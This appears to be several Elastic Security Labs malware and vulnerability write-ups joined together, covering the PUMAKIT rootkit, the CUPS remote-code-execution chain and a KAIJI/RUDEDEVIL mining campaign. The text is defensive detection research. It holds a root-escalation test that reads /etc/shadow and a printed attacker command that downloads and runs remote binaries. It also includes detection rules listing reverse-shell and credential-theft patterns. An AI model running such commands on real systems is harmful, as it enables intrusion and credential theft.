    // Execute the `id` command
    printf("\n--- Running 'id' command ---\n");
    if (system("id") == -1) {
        perror("Failed to execute 'id'");
        return 1;
    }

    // Display the contents of /etc/shadow
    printf("\n--- Displaying '/etc/shadow' ---\n");
    if (system("cat /etc/shadow") == -1) {
        perror("Failed to execute 'cat /etc/shadow'");
        return 1;
    }

    return 0;
}

With success.

ubuntu-rk:~/testing$ ./get_root
rmdir: successfully removed 'zarya.0'

--- Running 'id' command ---
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben)

--- Displaying '/etc/shadow' ---
root:*:19430:0:99999:7:::
[...]

Although there are more commands available in the rmdir() function, we will, for now, move on to the next and may add them to a future publication.

LKM rootkit overview: getdents() and getdents64() hooks

The getdents_hook() and getdents64_hook() in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users.

The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory.

For example:

ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir

ubuntu-rk:~/getdents_hook$ ls -lah
total 8.0K
drwxrwxr-x  3 ruben ruben 4.0K Dec  9 11:11 .
drwxr-xr-x 11 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ echo "this file is now hidden" > zov_hidden_dir/zov_hidden_file

ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/
total 8.0K
drwxrwxr-x 2 ruben ruben 4.0K Dec  9 11:11 .
drwxrwxr-x 3 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file
this file is now hidden

Here, the file zov_hidden can be accessed directly using its entire path. However, when running the ls command, it does not appear in the directory listing.

Stage 4: Kitsune SO overview

While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the /lib64/libs.so file. Upon examination, we encountered several references to strings such as Kitsune PID %ld. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via LD_PRELOAD.

This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain.

PUMAKIT execution chain detection & prevention

This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain.

Stage 1: Cron

Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch:

[  687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack

We can search for this through the following query:

host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message: "started with executable stack"

This message is stored in /var/log/messages or /var/log/syslog. We can detect this by reading syslog through Filebeat or the Elastic agent system integration.

Stage 2: Memory-resident executables

We can see an unusual file descriptor execution right away. This can be detected through the following EQL query:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable like "/dev/fd/*" and not process.parent.command_line == "runc init"

This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well:

file where host.os.type == "linux" and event.type == "creation" and process.executable like "/dev/fd/*" and file.path like (
  "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/var/run/*"
  "/etc/update-motd.d/*", "/tmp/*", "/var/log/*", "/var/tmp/*"
)

After /tmp/script.sh is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and 
(process.parent.args like "/boot/*" or process.args like "/boot/*") and (
  (process.name in ("file", "unlzma", "gunzip", "unxz", "bunzip2", "unzstd", "unzip", "tar")) or
  (process.name == "grep" and process.args == "ELF") or
  (process.name in ("lzop", "lz4") and process.args in ("-d", "--decode"))
) and
not process.parent.name == "mkinitramfs"

The script continues to seek the memory of the Linux kernel image through the tail command. This can be detected, along with other memory-seeking tools, through the following query:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and
(process.parent.args like "/boot/*" or process.args like "/boot/*") and (
  (process.name == "tail" and (process.args like "-c*" or process.args == "--bytes")) or
  (process.name == "cmp" and process.args == "-i") or
  (process.name in ("hexdump", "xxd") and process.args == "-s") or
  (process.name == "dd" and process.args : ("skip*", "seek*"))
)

Once /tmp/script.sh is done executing, /memfd:tgt (deleted) and /memfd:wpn (deleted) are created. The tgt executable, which is the benign Cron executable, creates a /run/crond.pid file. This is nothing malicious but an artifact that can be detected through a simple query.

file where host.os.type == "linux" and event.type == "creation" and file.extension in ("lock", "pid") and
file.path like ("/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/lock/*", "/dev/shm/*") and process.executable != null

The wpn executable will, if all conditions are met, load the LKMrootkit.

Stage 3: Rootkit kernel module

The loading of kernel module is detectable through Auditd Manager by applying the following configuration:

-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules

And using the following query:

driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and auditd.data.syscall in ("init_module", "finit_module")

For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our Linux detection engineering with Auditd research published on the Elastic Security Labs site.

Upon initialization, the LKM taints the kernel, as it is not signed.

audit: module verification failed: signature and/or required key missing - tainting kernel

We can detect this behavior through the following KQL query:

host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:"module verification failed: signature and/or required key missing - tainting kernel"

Also, the LKM has faulty code, causing it to segfault several times. For example:

Dec  9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4
Dec  9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 <8b> 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89

This can be detected through a simple KQL query that queries for segfaults in the kern.log file.

host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:segfault

Once the kernel module is loaded, we can see traces of command execution through the kthreadd process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals:

cat /dev/null
truncate -s 0 /usr/share/zov_f/zov_latest

We can detect these and more potentially suspicious commands through a query such as the following:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "kthreadd" and (
  process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/www/*", "/bin/*", "/usr/bin/*", "/usr/local/bin/*") or
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "whoami", "curl", "wget", "id", "nohup", "setsid") or
  process.command_line like (
    "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*",
    "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", "*base32 *", "*base16 *", "*/etc/profile*",
    "*/dev/shm/*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*autostart*",
    "*xxd *", "*/etc/shadow*"
  )
) and not process.name == "dpkg"

We can also detect the rootkits’ method of elevating privileges by analyzing the rmdir command for unusual UID/GID changes.

process where host.os.type == "linux" and event.type == "change" and event.action in ("uid_change", "guid_change") and process.name == "rmdir"

Several other behavioral rules may also trigger, depending on the execution chain.

One YARA signature to rule them all

Elastic Security has created a YARA signature to identify PUMAKIT (the dropper (cron), the rootkit loader(/memfd:wpn), the LKM rootkit and the Kitsune shared object files. The signature is displayed below:

rule Linux_Trojan_Pumakit {
    meta:
        author = "Elastic Security"
        creation_date = "2024-12-09"
        last_modified = "2024-12-09"
        os = "Linux"
        arch = "x86, arm64"
        threat_name = "Linux.Trojan.Pumakit"

    strings:
        $str1 = "PUMA %s"
        $str2 = "Kitsune PID %ld"
        $str3 = "/usr/share/zov_f"
        $str4 = "zarya"
        $str5 = ".puma-config"
        $str6 = "ping_interval_s"
        $str7 = "session_timeout_s"
        $str8 = "c2_timeout_s"
        $str9 = "LD_PRELOAD=/lib64/libs.so"
        $str10 = "kit_so_len"
        $str11 = "opsecurity1.art"
        $str12 = "89.23.113.204"
    
    condition:
        4 of them
}

Observations

The following observables were discussed in this research.

Concluding Statement

PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems.

Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead.

The following packages introduced out-of-the-box (OOTB) rules to detect the exploitation of these vulnerabilities. Please check your "Prebuilt Security Detection Rules" integration versions or visit the Downloadable rule updates site.

• Stack Version 8.15 - Package Version 8.15.6+
• Stack Version 8.14 - Package Version 8.14.12+
• Stack Version 8.13 - Package Version 8.13.18+
• Stack Version 8.12 - Package Version 8.12.23+

Key takeaways

• On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the cups-browsed, libscupsfilters, and libppd components of the CUPS printing system, impacting versions <= 2.0.1.
• The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems.
• The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by cups-browsed without any authentication requirements.
• The vulnerability chain includes the foomatic-rip filter, which permits the execution of arbitrary commands through the FoomaticRIPCommandLine directive, a known (CVE-2011-2697, CVE-2011-2964) but unpatched issue since 2011.
• Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the cups-browsed service enabled by default.
• By the title of the publication, “Attacking UNIX Systems via CUPS, Part I” Margaritelli likely expects to publish further research on the topic.
• Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.

The CUPS RCE at a glance

On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) uncovered a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like cups-browsed, libcupsfilters, and libppd. These vulnerabilities — identified as CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177 — affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).

At the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port 631 over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.

For context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.

Upon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.

One of the major vulnerabilities in this chain is the foomatic-rip filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.

While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.

Elastic’s POC analysis

Elastic’s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the cupshax proof of concept (PoC) based on its ability to execute locally.

To start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer.

Upon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a PostScript Printer Description (PPD) file from these IPP attributes.

At this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.

During our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.

When running arbitrary commands to create files, we noticed that lp is the user and group reported for arbitrary command execution, the default printing group on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the lp user to have sufficient permissions to retrieve and run a malicious payload. By default, the lp user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict lp such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies.

The lp user in many default configurations has access to commands that are not required for the print service, for instance telnet. To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the lp user from using them.

We also took note that interactive reverse shells are not immediately supported through this technique, since the lp user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to /tmp/, which is trivial to detect in most cases. Note that the user writing this file will be lp so similar behavior will be present for attackers downloading and saving a payload on disk.

Alongside these observations, the parent process, foomatic-rip was observed in our telemetry executing a shell, which is highly uncommon

Executing the ‘Cupshax’ POC

To demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.

Our first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the lp user — namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:

Continued testing was performed around reverse shell invocation, successfully demonstrated below:

Assessing impact

• Severity: These vulnerabilities are given CVSS scores controversially up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.
• Who is affected?: The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report highlights that over 75,000 CUPS services are exposed on the internet.
• Potential Damage: Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access.

Remediations

As highlighted by @evilsocket, there are several remediation recommendations.

• Disable and uninstall the cups-browsed service. For example, see the recommendations from Red Hat and Ubuntu.
• Ensure your CUPS packages are updated to the latest versions available for your distribution.
• If updating isn’t possible, block UDP port 631 and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the lp user and group configuration on the host.

Elastic protections

In this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.

cupsd or foomatic-rip shell execution

The first detection rule targets processes on Linux systems that are spawned by foomatic-rip and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary’s goal if arbitrary command execution is possible.

process where host.os.type == "linux" and event.type == "start" and
 event.action == "exec" and process.parent.name == "foomatic-rip" and
 process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") 
 and not process.command_line like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*")

This query managed to detect all 33 PoC attempts that we performed:

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml

Printer user (lp) shell execution

This detection rule assumes that the default printer user (lp) handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include cupsd. Although there's currently no indication that RCE can be exploited through cupsd, we cannot rule out the possibility.

process where host.os.type == "linux" and event.type == "start" and
 event.action == "exec" and user.name == "lp" and
 process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", 
 "tcsh", "csh", "zsh", "ksh", "fish") and process.name in ("bash", "dash", 
 "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not process.command_line 
 like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*")

By focusing on the username lp, we broadened the scope and detected, like previously, all of the 33 PoC executions:

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml

Network connection by CUPS foomatic-rip child

This rule identifies network connections initiated by child processes of foomatic-rip, which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.

sequence by host.id with maxspan=10s
  [process where host.os.type == "linux" and event.type == "start" 
   and event.action == "exec" and
   process.parent.name == "foomatic-rip" and
   process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] 
   by process.entity_id
  [network where host.os.type == "linux" and event.type == "start" and 
   event.action == "connection_attempted"] by process.parent.entity_id

By capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application.

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml

File creation by CUPS foomatic-rip child

This rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in /tmp/, this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.

sequence by host.id with maxspan=10s
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.parent.name == "foomatic-rip" and 
   process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id
  [file where host.os.type == "linux" and event.type != "deletion" and
   not (process.name == "gs" and file.path like "/tmp/gs_*")] by process.parent.entity_id

The rule excludes /tmp/gs_* to account for default cupsd behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml

Suspicious execution from foomatic-rip or cupsd parent

This rule detects suspicious command lines executed by child processes of foomatic-rip and cupsd. It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.

process where host.os.type == "linux" and event.type == "start" and 
 event.action == "exec" and process.parent.name in 
 ("foomatic-rip", "cupsd") and process.command_line like (
  // persistence
  "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", 
  "*/etc/update-motd.d*", "*/etc/sudoers*",
  "*/etc/profile*", "*autostart*", "*/etc/ssh*", "*/home/*/.ssh/*", 
  "*/root/.ssh*", "*~/.ssh/*", "*udev*", "*/etc/shadow*", "*/etc/passwd*",
    // Downloads
  "*curl*", "*wget*",

  // encoding and decoding
  "*base64 *", "*base32 *", "*xxd *", "*openssl*",

  // reverse connections
  "*GS_ARGS=*", "*/dev/tcp*", "*/dev/udp/*", "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*",
  "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", "*disown*", "*nohup*",

  // SO loads
  "*openssl*-engine*.so*", "*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*", "*Fiddle.dlopen*.so*",
  "*cdll.LoadLibrary*.so*",

  // misc. suspicious command lines
   "*/etc/ld.so*", "*/dev/shm/*", "*/var/tmp*", "*echo*", "*>>*", "*|*"
)

By making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the cupsd parent, without the fear of false positives.

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml

Elastic’s Attack Discovery

In addition to prebuilt content published, Elastic’s Attack Discovery can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.

Conclusion

The recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as indicated by @evilsocket.

We expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities.

Key References

• https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
• https://github.com/RickdeJager/cupshax/blob/main/cupshax.py
• https://www.cve.org/CVERecord?id=CVE-2024-47076
• https://www.cve.org/CVERecord?id=CVE-2024-47175
• https://www.cve.org/CVERecord?id=CVE-2024-47176
• https://www.cve.org/CVERecord?id=CVE-2024-47177

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.

The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.

Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.

This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.

Execution flow

Initial access

Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the id command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the www-data user account.

Shortly after the Kaiji deployment, the attacker used the www-data account to download a script named 00.sh from the URL http://61.160.194[.]160:35130, which, after further investigation, also hosted several versions of RUDEDEVIL malware.

00.sh is a stager that:

• Sets its default shell and PATH.
• Deletes several log files to erase traces of execution.
• Leverages ps, netstat, lsof and a list of common mining process names to kill any potential mining competition on the compromised host.
• Flushes the iptables rules on the host, sets several iptables rules to block connections to specific destination ports and mining pools, and disables iptables.
• Finally, a second stage (sss6/sss68) is downloaded and executed, and execution traces are erased.

The figure below shows a compressed version of the stager. Lines annotated with [...] are shortened to enhance readability.

Fileserver

Via the backdoored web server process, the attacker downloaded and executed malware through the following command:

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

The l64 and l86 files are downloaded from http://107.178.101[.]245:5488, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:

This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the download.sh file that was uploaded September 10th, was already downloaded 3,100 times.

RUDEDEVIL/LUCIFER

Upon closer inspection, the file sss6, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

We note that the files l64 and l86 that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:

• Daemon Initialization: The process is converted into a daemon using daemon(1, 0).
• Socket Creation: A socket is created and bound to a specific port.
• Signal Handling: Custom signal handlers are set up for various signals.
• Service Initialization: Several services are started using SetFILE.
• Privilege Handling: It checks for root privileges and adjusts resource limits accordingly.
• Decryption: The malware decrypts its configuration blobs.
• Thread Creation: Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.
• Main Loop: The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.

When examining the encryption routine, we find it utilizes XOR-based encoding:

To decode the contents statically, we developed a basic Python snippet:

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

After decoding the configuration, the following values are revealed:

• The first value C2 domain nishabii[.]xyz.
• The second value reveals options that will be passed to XMRIG.
• The third value shows the temp file location the malware uses.
• The fourth and last string shows the download location for the XMRIG binary.

Thread Management in the Malware

The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.

Understanding the KillPid Function

One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.

At the heart of its functionality is an array called sb_name, which contains the names of processes the malware wants to terminate.

Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called getPidByName. After each iteration, it moves to the next process in the list, ensuring all processes in sb_name are handled.

Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.

Understanding the Get_Net_Messages Function

Another crucial thread is responsible for monitoring network traffic, specifically focusing on the eth0 network interface. This functionality is handled by the getOutRates function. The function begins by setting up necessary variables and opening the /proc/net/dev file, which contains detailed network statistics for each interface.

If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the eth0 interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for eth0; otherwise, it returns 0, ensuring the malware continues functioning even if an error occurs.

This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.

Understanding the Get_Cpu_Message Function

For CPU monitoring, the malware uses the GetCpuRates function. This function continuously monitors the CPU usage by reading data from /proc/stat. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.

The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.

Understanding the Send_Host_Message Function

Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The _SendInfo function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.

Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.

In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.

Connecting to the Command-and-Control (C2) Server

